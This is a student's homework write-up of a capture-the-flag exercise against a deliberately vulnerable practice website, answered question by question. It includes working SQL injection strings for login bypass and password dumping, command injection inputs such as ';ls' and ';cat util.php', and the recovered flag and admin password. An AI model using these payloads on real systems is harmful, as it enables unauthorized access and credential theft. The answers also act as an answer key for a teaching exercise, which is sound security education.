CMSC 491/791 Active Cyber Defense HW 7

Name: Daniel Roh

Due: Nov 6th, 2019 at 7:00pm

Summary:

In this assignment you are given a vulnerable website called Bates Motel. You will use concepts such as SQL injection and command injection to complete this assignment. You will need to complete each question before moving on to the next.
Link to site: ctf.notanexploit.club:8000

1. **Use the "Register" page to register an account on Bates Motel. What is the registration code? How did you find this information? (10 pts)**

   Registration Code: sp00ky

   The registration code was found by taking a look at html and finding comment that most likely left to help the developer more easily test the registration.

2. **The lookup.php script runs the following MySQL query when a username is queried:**

   ```
   SELECT * FROM users WHERE username='$user'
   ```

   It prints the following fields from the SQL query results:

   ```
   echo "Username: " . $row['username'] . "<br />Real Name: " . $row['name'] . "<br />About me: " . $row['about'];
   ```

   Perform SQL injection on the Username input field of the "Lookup a User" page to list all of the users registered in the Bates Motel. What is the name of the user with administrator status? What was your SQL injection? (15 pts)
   Admin: n0rmanbates
   Name: Norman Bates
   SQL used: 1' or '1' = '1
3. **The login.php script runs the following MySQL query when a user enters a username and password:**

   ```
   SELECT * FROM users WHERE username='$user' AND password='$pass'
   ```

   Perform SQL injection on the Username input field of the "Login" page to log in as the administrator. What is the secret note on the "Admin panel" page? What was your SQL injection? (20 pts)
   Secret Note: dont_let_them_find_out

SQL used: n0rmanbates ' AND 1=1 -- '

4. **Exploit a vulnerability in the Admin panel's network connectivity tool to retrieve the flag stored in a .txt file on the webserver. What is the flag? What input did you provide to the network connectivity tool? (15 pts)**
   Inputs: ;ls
   Then looked for the .txt file and entered into the url bar to access
   URL to flag: http://ctf.notanexploit.club:8000/plsreadme.txt
   Flag: alfred_hitchcock_is_the_best

5. **Perform SQL injection on the Username input field of the "Lookup a User" page to find the encrypted password of the administrator. What is that user's encrypted password? What was your SQL injection? (20 pts)**
   Encrypted Password: SUVYWE9JXkJFWFlPSEteXk9YU1leS1pGTw==
   SQL used: ' union select 1,username,3,password as name,about,6 from users --

   Note: thanks for the help on this one RJ

6. **Which .php file on the webserver contains the encrypt_password() function? In a few sentences, describe what this function does. (10 pts)**
   To find the file grep encrypt_password() * was used to find the file with the function. Then with this knowledge ;cat util.php was used to dump file in the php source as a comment.

   File with function: util.php

   What the code does: Code takes each character of the password and does an xor with 42, Then takes the value and converts it to an ascii value. Then converts it to a string for the encrypted password. Lastly, the string is encoded as a base64 string.

7. **What is the administrator's plaintext password? (10 pts)**
   Password = correcthorsebatterystaple